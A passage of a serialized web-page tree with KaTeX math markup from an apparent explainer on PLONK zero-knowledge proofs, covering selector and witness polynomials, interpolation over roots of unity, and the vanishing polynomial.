tag":327,"props":149103,"children":149105},{"className":149104},[3043],[149106],{"type":24,"tag":327,"props":149107,"children":149109},{"className":149108,"style":99857},[3048],[149110],{"type":24,"tag":327,"props":149111,"children":149112},{},[],{"type":29,"value":149114},", right input ",{"type":24,"tag":284,"props":149116,"children":149118},{"className":149117},[2949,2950],[149119],{"type":24,"tag":327,"props":149120,"children":149122},{"className":149121},[2955],[149123],{"type":24,"tag":327,"props":149124,"children":149126},{"className":149125,"ariaHidden":2961},[2960],[149127],{"type":24,"tag":327,"props":149128,"children":149130},{"className":149129},[2966],[149131,149135],{"type":24,"tag":327,"props":149132,"children":149134},{"className":149133,"style":116744},[2971],[],{"type":24,"tag":327,"props":149136,"children":149138},{"className":149137},[2977],[149139,149144],{"type":24,"tag":327,"props":149140,"children":149142},{"className":149141,"style":99774},[2977,2978],[149143],{"type":29,"value":100593},{"type":24,"tag":327,"props":149145,"children":149147},{"className":149146},[3032],[149148],{"type":24,"tag":327,"props":149149,"children":149151},{"className":149150},[3037,3038],[149152,149181],{"type":24,"tag":327,"props":149153,"children":149155},{"className":149154},[3043],[149156,149176],{"type":24,"tag":327,"props":149157,"children":149159},{"className":149158,"style":100303},[3048],[149160],{"type":24,"tag":327,"props":149161,"children":149162},{"style":116773},[149163,149167],{"type":24,"tag":327,"props":149164,"children":149166},{"className":149165,"style":3059},[3058],[],{"type":24,"tag":327,"props":149168,"children":149170},{"className":149169},[3064,3065,3066,3067],[149171],{"type":24,"tag":327,"props":149172,"children":149174},{"className":149173},[2977,2978,3067],[149175],{"type":29,"value":11334},{"type":24,"tag":327,"props":149177,"children":149179},{"className":149178},[3150],[149180],{"type":29,"value":3153},{"type":24,"tag":327,"props":149182,"children":149184},{"className":149183},[3043],[149185],{"type":24,"tag":327,"props":149186,"children":149188},{"className":149187,"style":99857},[3048],[149189],{"type":24,"tag":327,"props":149190,"children":149191},{},[],{"type":29,"value":149193},", and output ",{"type":24,"tag":284,"props":149195,"children":149197},{"className":149196},[2949,2950],[149198],{"type":24,"tag":327,"props":149199,"children":149201},{"className":149200},[2955],[149202],{"type":24,"tag":327,"props":149203,"children":149205},{"className":149204,"ariaHidden":2961},[2960],[149206],{"type":24,"tag":327,"props":149207,"children":149209},{"className":149208},[2966],[149210,149214],{"type":24,"tag":327,"props":149211,"children":149213},{"className":149212,"style":116744},[2971],[],{"type":24,"tag":327,"props":149215,"children":149217},{"className":149216},[2977],[149218,149223],{"type":24,"tag":327,"props":149219,"children":149221},{"className":149220},[2977,2978],[149222],{"type":29,"value":99744},{"type":24,"tag":327,"props":149224,"children":149226},{"className":149225},[3032],[149227],{"type":24,"tag":327,"props":149228,"children":149230},{"className":149229},[3037,3038],[149231,149260],{"type":24,"tag":327,"props":149232,"children":149234},{"className":149233},[3043],[149235,149255],{"type":24,"tag":327,"props":149236,"children":149238},{"className":149237,"style":100303},[3048],[149239],{"type":24,"tag":327,"props":149240,"children":149241},{"style":99830},[149242,149246],{"type":24,"tag":327,"props":149243,"children":149245},{"className":149244,"style":3059},[3058],[],{"type":24,"tag":327,"props":149247,"children":149249},{"className":149248},[3064,3065,3066,3067],[149250],{"type":24,"tag":327,"props":149251,"children":149253},{"className":149252},[2977,2978,3067],[149254],{"type":29,"value":11334},{"type":24,"tag":327,"props":149256,"children":149258},{"className":149257},[3150],[149259],{"type":29,"value":3153},{"type":24,"tag":327,"props":149261,"children":149263},{"className":149262},[3043],[149264],{"type":24,"tag":327,"props":149265,"children":149267},{"className":149266,"style":99857},[3048],[149268],{"type":24,"tag":327,"props":149269,"children":149270},{},[],{"type":29,"value":149272},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":24,"tag":25,"props":149274,"children":149275},{},[149276,149278,149283,149285,149389,149391,149494,149496,149501],{"type":29,"value":149277},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":24,"tag":42,"props":149279,"children":149280},{},[149281],{"type":29,"value":149282},"selector",{"type":29,"value":149284}," values that act as switches: setting ",{"type":24,"tag":284,"props":149286,"children":149288},{"className":149287},[2949,2950],[149289],{"type":24,"tag":327,"props":149290,"children":149292},{"className":149291},[2955],[149293],{"type":24,"tag":327,"props":149294,"children":149296},{"className":149295,"ariaHidden":2961},[2960],[149297,149376],{"type":24,"tag":327,"props":149298,"children":149300},{"className":149299},[2966],[149301,149305,149363,149367,149372],{"type":24,"tag":327,"props":149302,"children":149304},{"className":149303,"style":116664},[2971],[],{"type":24,"tag":327,"props":149306,"children":149308},{"className":149307},[2977],[149309,149314],{"type":24,"tag":327,"props":149310,"children":149312},{"className":149311,"style":100260},[2977,2978],[149313],{"type":29,"value":100263},{"type":24,"tag":327,"props":149315,"children":149317},{"className":149316},[3032],[149318],{"type":24,"tag":327,"props":149319,"children":149321},{"className":149320},[3037,3038],[149322,149352],{"type":24,"tag":327,"props":149323,"children":149325},{"className":149324},[3043],[149326,149347],{"type":24,"tag":327,"props":149327,"children":149330},{"className":149328,"style":149329},[3048],"height:0.3283em;",[149331],{"type":24,"tag":327,"props":149332,"children":149333},{"style":100307},[149334,149338],{"type":24,"tag":327,"props":149335,"children":149337},{"className":149336,"style":3059},[3058],[],{"type":24,"tag":327,"props":149339,"children":149341},{"className":149340},[3064,3065,3066,3067],[149342],{"type":24,"tag":327,"props":149343,"children":149345},{"className":149344,"style":101782},[2977,2978,3067],[149346],{"type":29,"value":101785},{"type":24,"tag":327,"props":149348,"children":149350},{"className":149349},[3150],[149351],{"type":29,"value":3153},{"type":24,"tag":327,"props":149353,"children":149355},{"className":149354},[3043],[149356],{"type":24,"tag":327,"props":149357,"children":149359},{"className":149358,"style":99857},[3048],[149360],{"type":24,"tag":327,"props":149361,"children":149362},{},[],{"type":24,"tag":327,"props":149364,"children":149366},{"className":149365,"style":2993},[2992],[],{"type":24,"tag":327,"props":149368,"children":149370},{"className":149369},[2998],[149371],{"type":29,"value":384},{"type":24,"tag":327,"props":149373,"children":149375},{"className":149374,"style":2993},[2992],[],{"type":24,"tag":327,"props":149377,"children":149379},{"className":149378},[2966],[149380,149384],{"type":24,"tag":327,"props":149381,"children":149383},{"className":149382,"style":100805},[2971],[],{"type":24,"tag":327,"props":149385,"children":149387},{"className":149386},[2977],[149388],{"type":29,"value":3238},{"type":29,"value":149390}," makes a row a multiplication gate, setting ",{"type":24,"tag":284,"props":149392,"children":149394},{"className":149393},[2949,2950],[149395],{"type":24,"tag":327,"props":149396,"children":149398},{"className":149397},[2955],[149399],{"type":24,"tag":327,"props":149400,"children":149402},{"className":149401,"ariaHidden":2961},[2960],[149403,149481],{"type":24,"tag":327,"props":149404,"children":149406},{"className":149405},[2966],[149407,149411,149468,149472,149477],{"type":24,"tag":327,"props":149408,"children":149410},{"className":149409,"style":116664},[2971],[],{"type":24,"tag":327,"props":149412,"children":149414},{"className":149413},[2977],[149415,149420],{"type":24,"tag":327,"props":149416,"children":149418},{"className":149417,"style":100260},[2977,2978],[149419],{"type":29,"value":100263},{"type":24,"tag":327,"props":149421,"children":149423},{"className":149422},[3032],[149424],{"type":24,"tag":327,"props":149425,"children":149427},{"className":149426},[3037,3038],[149428,149457],{"type":24,"tag":327,"props":149429,"children":149431},{"className":149430},[3043],[149432,149452],{"type":24,"tag":327,"props":149433,"children":149435},{"className":149434,"style":149329},[3048],[149436],{"type":24,"tag":327,"props":149437,"children":149438},{"style":100307},[149439,149443],{"type":24,"tag":327,"props":149440,"children":149442},{"className":149441,"style":3059},[3058],[],{"type":24,"tag":327,"props":149444,"children":149446},{"className":149445},[3064,3065,3066,3067],[149447],{"type":24,"tag":327,"props":149448,"children":149450},{"className":149449},[2977,2978,3067],[149451],{"type":29,"value":124738},{"type":24,"tag":327,"props":149453,"children":149455},{"className":149454},[3150],[149456],{"type":29,"value":3153},{"type":24,"tag":327,"props":149458,"children":149460},{"className":149459},[3043],[149461],{"type":24,"tag":327,"props":149462,"children":149464},{"className":149463,"style":99857},[3048],[149465],{"type":24,"tag":327,"props":149466,"children":149467},{},[],{"type":24,"tag":327,"props":149469,"children":149471},{"className":149470,"style":2993},[2992],[],{"type":24,"tag":327,"props":149473,"children":149475},{"className":149474},[2998],[149476],{"type":29,"value":384},{"type":24,"tag":327,"props":149478,"children":149480},{"className":149479,"style":2993},[2992],[],{"type":24,"tag":327,"props":149482,"children":149484},{"className":149483},[2966],[149485,149489],{"type":24,"tag":327,"props":149486,"children":149488},{"className":149487,"style":100805},[2971],[],{"type":24,"tag":327,"props":149490,"children":149492},{"className":149491},[2977],[149493],{"type":29,"value":3238},{"type":29,"value":149495}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":24,"tag":42,"props":149497,"children":149498},{},[149499],{"type":29,"value":149500},"permutation argument",{"type":29,"value":149502}," for that, which we will not cover here.",{"type":24,"tag":235,"props":149504,"children":149506},{"id":149505},"from-many-checks-to-one",[149507],{"type":29,"value":149508},"From many checks to one",{"type":24,"tag":25,"props":149510,"children":149511},{},[149512,149514,149519,149520,149612,149613,149705,149706,149798,149800,149805,149806,149898,149899,149991,149993,150018,150020,150045,150047,150139,150141,150166,150168,150193],{"type":29,"value":149513},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":24,"tag":42,"props":149515,"children":149516},{},[149517],{"type":29,"value":149518},"witness polynomials",{"type":29,"value":14024},{"type":24,"tag":284,"props":149521,"children":149523},{"className":149522},[2949,2950],[149524],{"type":24,"tag":327,"props":149525,"children":149527},{"className":149526},[2955],[149528],{"type":24,"tag":327,"props":149529,"children":149531},{"className":149530,"ariaHidden":2961},[2960],[149532],{"type":24,"tag":327,"props":149533,"children":149535},{"className":149534},[2966],[149536,149540,149597,149602,149607],{"type":24,"tag":327,"props":149537,"children":149539},{"className":149538,"style":3685},[2971],[],{"type":24,"tag":327,"props":149541,"children":149543},{"className":149542},[2977],[149544,149549],{"type":24,"tag":327,"props":149545,"children":149547},{"className":149546,"style":102128},[2977,2978],[149548],{"type":29,"value":39796},{"type":24,"tag":327,"props":149550,"children":149552},{"className":149551},[3032],[149553],{"type":24,"tag":327,"props":149554,"children":149556},{"className":149555},[3037,3038],[149557,149586],{"type":24,"tag":327,"props":149558,"children":149560},{"className":149559},[3043],[149561,149581],{"type":24,"tag":327,"props":149562,"children":149564},{"className":149563,"style":149329},[3048],[149565],{"type":24,"tag":327,"props":149566,"children":149567},{"style":102149},[149568,149572],{"type":24,"tag":327,"props":149569,"children":149571},{"className":149570,"style":3059},[3058],[],{"type":24,"tag":327,"props":149573,"children":149575},{"className":149574},[3064,3065,3066,3067],[149576],{"type":24,"tag":327,"props":149577,"children":149579},{"className":149578},[2977,2978,3067],[149580],{"type":29,"value":124738},{"type":24,"tag":327,"props":149582,"children":149584},{"className":149583},[3150],[149585],{"type":29,"value":3153},{"type":24,"tag":327,"props":149587,"children":149589},{"className":149588},[3043],[149590],{"type":24,"tag":327,"props":149591,"children":149593},{"className":149592,"style":99857},[3048],[149594],{"type":24,"tag":327,"props":149595,"children":149596},{},[],{"type":24,"tag":327,"props":149598,"children":149600},{"className":149599},[3121],[149601],{"type":29,"value":349},{"type":24,"tag":327,"props":149603,"children":149605},{"className":149604},[2977,2978],[149606],{"type":29,"value":603},{"type":24,"tag":327,"props":149608,"children":149610},{"className":149609},[3143],[149611],{"type":29,"value":3146},{"type":29,"value":2744},{"type":24,"tag":284,"props":149614,"children":149616},{"className":149615},[2949,2950],[149617],{"type":24,"tag":327,"props":149618,"children":149620},{"className":149619},[2955],[149621],{"type":24,"tag":327,"props":149622,"children":149624},{"className":149623,"ariaHidden":2961},[2960],[149625],{"type":24,"tag":327,"props":149626,"children":149628},{"className":149627},[2966],[149629,149633,149690,149695,149700],{"type":24,"tag":327,"props":149630,"children":149632},{"className":149631,"style":3685},[2971],[],{"type":24,"tag":327,"props":149634,"children":149636},{"className":149635},[2977],[149637,149642],{"type":24,"tag":327,"props":149638,"children":149640},{"className":149639,"style":102128},[2977,2978],[149641],{"type":29,"value":39796},{"type":24,"tag":327,"props":149643,"children":149645},{"className":149644},[3032],[149646],{"type":24,"tag":327,"props":149647,"children":149649},{"className":149648},[3037,3038],[149650,149679],{"type":24,"tag":327,"props":149651,"children":149653},{"className":149652},[3043],[149654,149674],{"type":24,"tag":327,"props":149655,"children":149657},{"className":149656,"style":149329},[3048],[149658],{"type":24,"tag":327,"props":149659,"children":149660},{"style":102149},[149661,149665],{"type":24,"tag":327,"props":149662,"children":149664},{"className":149663,"style":3059},[3058],[],{"type":24,"tag":327,"props":149666,"children":149668},{"className":149667},[3064,3065,3066,3067],[149669],{"type":24,"tag":327,"props":149670,"children":149672},{"className":149671,"style":129551},[2977,2978,3067],[149673],{"type":29,"value":129554},{"type":24,"tag":327,"props":149675,"children":149677},{"className":149676},[3150],[149678],{"type":29,"value":3153},{"type":24,"tag":327,"props":149680,"children":149682},{"className":149681},[3043],[149683],{"type":24,"tag":327,"props":149684,"children":149686},{"className":149685,"style":99857},[3048],[149687],{"type":24,"tag":327,"props":149688,"children":149689},{},[],{"type":24,"tag":327,"props":149691,"children":149693},{"className":149692},[3121],[149694],{"type":29,"value":349},{"type":24,"tag":327,"props":149696,"children":149698},{"className":149697},[2977,2978],[149699],{"type":29,"value":603},{"type":24,"tag":327,"props":149701,"children":149703},{"className":149702},[3143],[149704],{"type":29,"value":3146},{"type":29,"value":2744},{"type":24,"tag":284,"props":149707,"children":149709},{"className":149708},[2949,2950],[149710],{"type":24,"tag":327,"props":149711,"children":149713},{"className":149712},[2955],[149714],{"type":24,"tag":327,"props":149715,"children":149717},{"className":149716,"ariaHidden":2961},[2960],[149718],{"type":24,"tag":327,"props":149719,"children":149721},{"className":149720},[2966],[149722,149726,149783,149788,149793],{"type":24,"tag":327,"props":149723,"children":149725},{"className":149724,"style":3685},[2971],[],{"type":24,"tag":327,"props":149727,"children":149729},{"className":149728},[2977],[149730,149735],{"type":24,"tag":327,"props":149731,"children":149733},{"className":149732,"style":102128},[2977,2978],[149734],{"type":29,"value":39796},{"type":24,"tag":327,"props":149736,"children":149738},{"className":149737},[3032],[149739],{"type":24,"tag":327,"props":149740,"children":149742},{"className":149741},[3037,3038],[149743,149772],{"type":24,"tag":327,"props":149744,"children":149746},{"className":149745},[3043],[149747,149767],{"type":24,"tag":327,"props":149748,"children":149750},{"className":149749,"style":149329},[3048],[149751],{"type":24,"tag":327,"props":149752,"children":149753},{"style":102149},[149754,149758],{"type":24,"tag":327,"props":149755,"children":149757},{"className":149756,"style":3059},[3058],[],{"type":24,"tag":327,"props":149759,"children":149761},{"className":149760},[3064,3065,3066,3067],[149762],{"type":24,"tag":327,"props":149763,"children":149765},{"className":149764,"style":99774},[2977,2978,3067],[149766],{"type":29,"value":122093},{"type":24,"tag":327,"props":149768,"children":149770},{"className":149769},[3150],[149771],{"type":29,"value":3153},{"type":24,"tag":327,"props":149773,"children":149775},{"className":149774},[3043],[149776],{"type":24,"tag":327,"props":149777,"children":149779},{"className":149778,"style":99857},[3048],[149780],{"type":24,"tag":327,"props":149781,"children":149782},{},[],{"type":24,"tag":327,"props":149784,"children":149786},{"className":149785},[3121],[149787],{"type":29,"value":349},{"type":24,"tag":327,"props":149789,"children":149791},{"className":149790},[2977,2978],[149792],{"type":29,"value":603},{"type":24,"tag":327,"props":149794,"children":149796},{"className":149795},[3143],[149797],{"type":29,"value":3146},{"type":29,"value":149799}," and the selectors become ",{"type":24,"tag":42,"props":149801,"children":149802},{},[149803],{"type":29,"value":149804},"selector polynomials",{"type":29,"value":14024},{"type":24,"tag":284,"props":149807,"children":149809},{"className":149808},[2949,2950],[149810],{"type":24,"tag":327,"props":149811,"children":149813},{"className":149812},[2955],[149814],{"type":24,"tag":327,"props":149815,"children":149817},{"className":149816,"ariaHidden":2961},[2960],[149818],{"type":24,"tag":327,"props":149819,"children":149821},{"className":149820},[2966],[149822,149826,149883,149888,149893],{"type":24,"tag":327,"props":149823,"children":149825},{"className":149824,"style":3685},[2971],[],{"type":24,"tag":327,"props":149827,"children":149829},{"className":149828},[2977],[149830,149835],{"type":24,"tag":327,"props":149831,"children":149833},{"className":149832},[2977,2978],[149834],{"type":29,"value":83529},{"type":24,"tag":327,"props":149836,"children":149838},{"className":149837},[3032],[149839],{"type":24,"tag":327,"props":149840,"children":149842},{"className":149841},[3037,3038],[149843,149872],{"type":24,"tag":327,"props":149844,"children":149846},{"className":149845},[3043],[149847,149867],{"type":24,"tag":327,"props":149848,"children":149850},{"className":149849,"style":149329},[3048],[149851],{"type":24,"tag":327,"props":149852,"children":149853},{"style":99830},[149854,149858],{"type":24,"tag":327,"props":149855,"children":149857},{"className":149856,"style":3059},[3058],[],{"type":24,"tag":327,"props":149859,"children":149861},{"className":149860},[3064,3065,3066,3067],[149862],{"type":24,"tag":327,"props":149863,"children":149865},{"className":149864,"style":101782},[2977,2978,3067],[149866],{"type":29,"value":101785},{"type":24,"tag":327,"props":149868,"children":149870},{"className":149869},[3150],[149871],{"type":29,"value":3153},{"type":24,"tag":327,"props":149873,"children":149875},{"className":149874},[3043],[149876],{"type":24,"tag":327,"props":149877,"children":149879},{"className":149878,"style":99857},[3048],[149880],{"type":24,"tag":327,"props":149881,"children":149882},{},[],{"type":24,"tag":327,"props":149884,"children":149886},{"className":149885},[3121],[149887],{"type":29,"value":349},{"type":24,"tag":327,"props":149889,"children":149891},{"className":149890},[2977,2978],[149892],{"type":29,"value":603},{"type":24,"tag":327,"props":149894,"children":149896},{"className":149895},[3143],[149897],{"type":29,"value":3146},{"type":29,"value":2744},{"type":24,"tag":284,"props":149900,"children":149902},{"className":149901},[2949,2950],[149903],{"type":24,"tag":327,"props":149904,"children":149906},{"className":149905},[2955],[149907],{"type":24,"tag":327,"props":149908,"children":149910},{"className":149909,"ariaHidden":2961},[2960],[149911],{"type":24,"tag":327,"props":149912,"children":149914},{"className":149913},[2966],[149915,149919,149976,149981,149986],{"type":24,"tag":327,"props":149916,"children":149918},{"className":149917,"style":3685},[2971],[],{"type":24,"tag":327,"props":149920,"children":149922},{"className":149921},[2977],[149923,149928],{"type":24,"tag":327,"props":149924,"children":149926},{"className":149925},[2977,2978],[149927],{"type":29,"value":83529},{"type":24,"tag":327,"props":149929,"children":149931},{"className":149930},[3032],[149932],{"type":24,"tag":327,"props":149933,"children":149935},{"className":149934},[3037,3038],[149936,149965],{"type":24,"tag":327,"props":149937,"children":149939},{"className":149938},[3043],[149940,149960],{"type":24,"tag":327,"props":149941,"children":149943},{"className":149942,"style":149329},[3048],[149944],{"type":24,"tag":327,"props":149945,"children":149946},{"style":99830},[149947,149951],{"type":24,"tag":327,"props":149948,"children":149950},{"className":149949,"style":3059},[3058],[],{"type":24,"tag":327,"props":149952,"children":149954},{"className":149953},[3064,3065,3066,3067],[149955],{"type":24,"tag":327,"props":149956,"children":149958},{"className":149957},[2977,2978,3067],[149959],{"type":29,"value":124738},{"type":24,"tag":327,"props":149961,"children":149963},{"className":149962},[3150],[149964],{"type":29,"value":3153},{"type":24,"tag":327,"props":149966,"children":149968},{"className":149967},[3043],[149969],{"type":24,"tag":327,"props":149970,"children":149972},{"className":149971,"style":99857},[3048],[149973],{"type":24,"tag":327,"props":149974,"children":149975},{},[],{"type":24,"tag":327,"props":149977,"children":149979},{"className":149978},[3121],[149980],{"type":29,"value":349},{"type":24,"tag":327,"props":149982,"children":149984},{"className":149983},[2977,2978],[149985],{"type":29,"value":603},{"type":24,"tag":327,"props":149987,"children":149989},{"className":149988},[3143],[149990],{"type":29,"value":3146},{"type":29,"value":149992},", etc., all interpolated over a domain ",{"type":24,"tag":284,"props":149994,"children":149996},{"className":149995},[2949,2950],[149997],{"type":24,"tag":327,"props":149998,"children":150000},{"className":149999},[2955],[150001],{"type":24,"tag":327,"props":150002,"children":150004},{"className":150003,"ariaHidden":2961},[2960],[150005],{"type":24,"tag":327,"props":150006,"children":150008},{"className":150007},[2966],[150009,150013],{"type":24,"tag":327,"props":150010,"children":150012},{"className":150011,"style":2972},[2971],[],{"type":24,"tag":327,"props":150014,"children":150016},{"className":150015,"style":100008},[2977,2978],[150017],{"type":29,"value":100011},{"type":29,"value":150019}," of ",{"type":24,"tag":284,"props":150021,"children":150023},{"className":150022},[2949,2950],[150024],{"type":24,"tag":327,"props":150025,"children":150027},{"className":150026},[2955],[150028],{"type":24,"tag":327,"props":150029,"children":150031},{"className":150030,"ariaHidden":2961},[2960],[150032],{"type":24,"tag":327,"props":150033,"children":150035},{"className":150034},[2966],[150036,150040],{"type":24,"tag":327,"props":150037,"children":150039},{"className":150038,"style":117615},[2971],[],{"type":24,"tag":327,"props":150041,"children":150043},{"className":150042},[2977,2978],[150044],{"type":29,"value":63125},{"type":29,"value":150046},"-th roots of unity. Evaluating ",{"type":24,"tag":284,"props":150048,"children":150050},{"className":150049},[2949,2950],[150051],{"type":24,"tag":327,"props":150052,"children":150054},{"className":150053},[2955],[150055],{"type":24,"tag":327,"props":150056,"children":150058},{"className":150057,"ariaHidden":2961},[2960],[150059],{"type":24,"tag":327,"props":150060,"children":150062},{"className":150061},[2966],[150063,150067,150124,150129,150134],{"type":24,"tag":327,"props":150064,"children":150066},{"className":150065,"style":3685},[2971],[],{"type":24,"tag":327,"props":150068,"children":150070},{"className":150069},[2977],[150071,150076],{"type":24,"tag":327,"props":150072,"children":150074},{"className":150073,"style":102128},[2977,2978],[150075],{"type":29,"value":39796},{"type":24,"tag":327,"props":150077,"children":150079},{"className":150078},[3032],[150080],{"type":24,"tag":327,"props":150081,"children":150083},{"className":150082},[3037,3038],[150084,150113],{"type":24,"tag":327,"props":150085,"children":150087},{"className":150086},[3043],[150088,150108],{"type":24,"tag":327,"props":150089,"children":150091},{"className":150090,"style":149329},[3048],[150092],{"type":24,"tag":327,"props":150093,"children":150094},{"style":102149},[150095,150099],{"type":24,"tag":327,"props":150096,"children":150098},{"className":150097,"style":3059},[3058],[],{"type":24,"tag":327,"props":150100,"children":150102},{"className":150101},[3064,3065,3066,3067],[150103],{"type":24,"tag":327,"props":150104,"children":150106},{"className":150105},[2977,2978,3067],[150107],{"type":29,"value":124738},{"type":24,"tag":327,"props":150109,"children":150111},{"className":150110},[3150],[150112],{"type":29,"value":3153},{"type":24,"tag":327,"props":150114,"children":150116},{"className":150115},[3043],[150117],{"type":24,"tag":327,"props":150118,"children":150120},{"className":150119,"style":99857},[3048],[150121],{"type":24,"tag":327,"props":150122,"children":150123},{},[],{"type":24,"tag":327,"props":150125,"children":150127},{"className":150126},[3121],[150128],{"type":29,"value":349},{"type":24,"tag":327,"props":150130,"children":150132},{"className":150131},[2977,2978],[150133],{"type":29,"value":603},{"type":24,"tag":327,"props":150135,"children":150137},{"className":150136},[3143],[150138],{"type":29,"value":3146},{"type":29,"value":150140}," at the ",{"type":24,"tag":284,"props":150142,"children":150144},{"className":150143},[2949,2950],[150145],{"type":24,"tag":327,"props":150146,"children":150148},{"className":150147},[2955],[150149],{"type":24,"tag":327,"props":150150,"children":150152},{"className":150151,"ariaHidden":2961},[2960],[150153],{"type":24,"tag":327,"props":150154,"children":150156},{"className":150155},[2966],[150157,150161],{"type":24,"tag":327,"props":150158,"children":150160},{"className":150159,"style":149025},[2971],[],{"type":24,"tag":327,"props":150162,"children":150164},{"className":150163},[2977,2978],[150165],{"type":29,"value":11334},{"type":29,"value":150167},"-th root recovers the left wire value at row ",{"type":24,"tag":284,"props":150169,"children":150171},{"className":150170},[2949,2950],[150172],{"type":24,"tag":327,"props":150173,"children":150175},{"className":150174},[2955],[150176],{"type":24,"tag":327,"props":150177,"children":150179},{"className":150178,"ariaHidden":2961},[2960],[150180],{"type":24,"tag":327,"props":150181,"children":150183},{"className":150182},[2966],[150184,150188],{"type":24,"tag":327,"props":150185,"children":150187},{"className":150186,"style":149025},[2971],[],{"type":24,"tag":327,"props":150189,"children":150191},{"className":150190},[2977,2978],[150192],{"type":29,"value":11334},{"type":29,"value":66},{"type":24,"tag":150195,"props":150196,"children":150197},"polynomial-interpolation-panel",{},[],{"type":24,"tag":25,"props":150199,"children":150200},{},[150201,150203,150243,150245,150311,150313,150443,150445,150485,150487,150527,150529,150569,150570,150692],{"type":29,"value":150202},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":24,"tag":284,"props":150204,"children":150206},{"className":150205},[2949,2950],[150207],{"type":24,"tag":327,"props":150208,"children":150210},{"className":150209},[2955],[150211],{"type":24,"tag":327,"props":150212,"children":150214},{"className":150213,"ariaHidden":2961},[2960],[150215],{"type":24,"tag":327,"props":150216,"children":150218},{"className":150217},[2966],[150219,150223,150228,150233,150238],{"type":24,"tag":327,"props":150220,"children":150222},{"className":150221,"style":3685},[2971],[],{"type":24,"tag":327,"props":150224,"children":150226},{"className":150225,"style":2979},[2977,2978],[150227],{"type":29,"value":128552},{"type":24,"tag":327,"props":150229,"children":150231},{"className":150230},[3121],[150232],{"type":29,"value":349},{"type":24,"tag":327,"props":150234,"children":150236},{"className":150235},[2977,2978],[150237],{"type":29,"value":603},{"type":24,"tag":327,"props":150239,"children":150241},{"className":150240},[3143],[150242],{"type":29,"value":3146},{"type":29,"value":150244}," that combines selectors and witnesses. If the prover was honest, ",{"type":24,"tag":284,"props":150246,"children":150248},{"className":150247},[2949,2950],[150249],{"type":24,"tag":327,"props":150250,"children":150252},{"className":150251},[2955],[150253],{"type":24,"tag":327,"props":150254,"children":150256},{"className":150255,"ariaHidden":2961},[2960],[150257,150298],{"type":24,"tag":327,"props":150258,"children":150260},{"className":150259},[2966],[150261,150265,150270,150275,150280,150285,150289,150294],{"type":24,"tag":327,"props":150262,"children":150264},{"className":150263,"style":3685},[2971],[],{"type":24,"tag":327,"props":150266,"children":150268},{"className":150267,"style":2979},[2977,2978],[150269],{"type":29,"value":128552},{"type":24,"tag":327,"props":150271,"children":150273},{"className":150272},[3121],[150274],{"type":29,"value":349},{"type":24,"tag":327,"props":150276,"children":150278},{"className":150277},[2977,2978],[150279],{"type":29,"value":603},{"type":24,"tag":327,"props":150281,"children":150283},{"className":150282},[3143],[150284],{"type":29,"value":3146},{"type":24,"tag":327,"props":150286,"children":150288},{"className":150287,"style":2993},[2992],[],{"type":24,"tag":327,"props":150290,"children":150292},{"className":150291},[2998],[150293],{"type":29,"value":384},{"type":24,"tag":327,"props":150295,"children":150297},{"className":150296,"style":2993},[2992],[],{"type":24,"tag":327,"props":150299,"children":150301},{"className":150300},[2966],[150302,150306],{"type":24,"tag":327,"props":150303,"children":150305},{"className":150304,"style":100805},[2971],[],{"type":24,"tag":327,"props":150307,"children":150309},{"className":150308},[2977],[150310],{"type":29,"value":2988},{"type":29,"value":150312}," at every row index in the domain. The vanishing polynomial ",{"type":24,"tag":284,"props":150314,"children":150316},{"className":150315},[2949,2950],[150317],{"type":24,"tag":327,"props":150318,"children":150320},{"className":150319},[2955],[150321],{"type":24,"tag":327,"props":150322,"children":150324},{"className":150323,"ariaHidden":2961},[2960],[150325,150367,150430],{"type":24,"tag":327,"props":150326,"children":150328},{"className":150327},[2966],[150329,150333,150339,150344,150349,150354,150358,150363],{"type":24,"tag":327,"props":150330,"children":150332},{"className":150331,"style":3685},[2971],[],{"type":24,"tag":327,"props":150334,"children":150336},{"className":150335,"style":3528},[2977,2978],[150337],{"type":29,"value":150338},"Z",{"type":24,"tag":327,"props":150340,"children":150342},{"className":150341},[3121],[150343],{"type":29,"value":349},{"type":24,"tag":327,"props":150345,"children":150347},{"className":150346},[2977,2978],[150348],{"type":29,"value":603},{"type":24,"tag":327,"props":150350,"children":150352},{"className":150351},[3143],[150353],{"type":29,"value":3146},{"type":24,"tag":327,"props":150355,"children":150357},{"className":150356,"style":2993},[2992],[],{"type":24,"tag":327,"props":150359,"children":150361},{"className":150360},[2998],[150362],{"type":29,"value":384},{"type":24,"tag":327,"props":150364,"children":150366},{"className":150365,"style":2993},[2992],[],{"type":24,"tag":327,"props":150368,"children":150370},{"className":150369},[2966],[150371,150376,150417,150421,150426],{"type":24,"tag":327,"props":150372,"children":150375},{"className":150373,"style":150374},[2971],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":24,"tag":327,"props":150377,"children":150379},{"className":150378},[2977],[150380,150385],{"type":24,"tag":327,"props":150381,"children":150383},{"className":150382},[2977,2978],[150384],{"type":29,"value":603},{"type":24,"tag":327,"props":150386,"children":150388},{"className":150387},[3032],[150389],{"type":24,"tag":327,"props":150390,"children":150392},{"className":150391},[3037],[150393],{"type":24,"tag":327,"props":150394,"children":150396},{"className":150395},[3043],[150397],{"type":24,"tag":327,"props":150398,"children":150400},{"className":150399,"style":115491},[3048],[150401],{"type":24,"tag":327,"props":150402,"children":150403},{"style":11628},[150404,150408],{"type":24,"tag":327,"props":150405,"children":150407},{"className":150406,"style":3059},[3058],[],{"type":24,"tag":327,"props":150409,"children":150411},{"className":150410},[3064,3065,3066,3067],[150412],{"type":24,"tag":327,"props":150413,"children":150415},{"className":150414},[2977,2978,3067],[150416],{"type":29,"value":63125},{"type":24,"tag":327,"props":150418,"children":150420},{"className":150419,"style":3705},[2992],[],{"type":24,"tag":327,"props":150422,"children":150424},{"className":150423},[3710],[150425],{"type":29,"value":11647},{"type":24,"tag":327,"props":150427,"children":150429},{"className":150428,"style":3705},[2992],[],{"type":24,"tag":327,"props":150431,"children":150433},{"className":150432},[2966],[150434,150438],{"type":24,"tag":327,"props":150435,"children":150437},{"className":150436,"style":100805},[2971],[],{"type":24,"tag":327,"props":150439,"children":150441},{"className":150440},[2977],[150442],{"type":29,"value":3238},{"type":29,"value":150444}," is zero on exactly those points, so if all constraints hold then 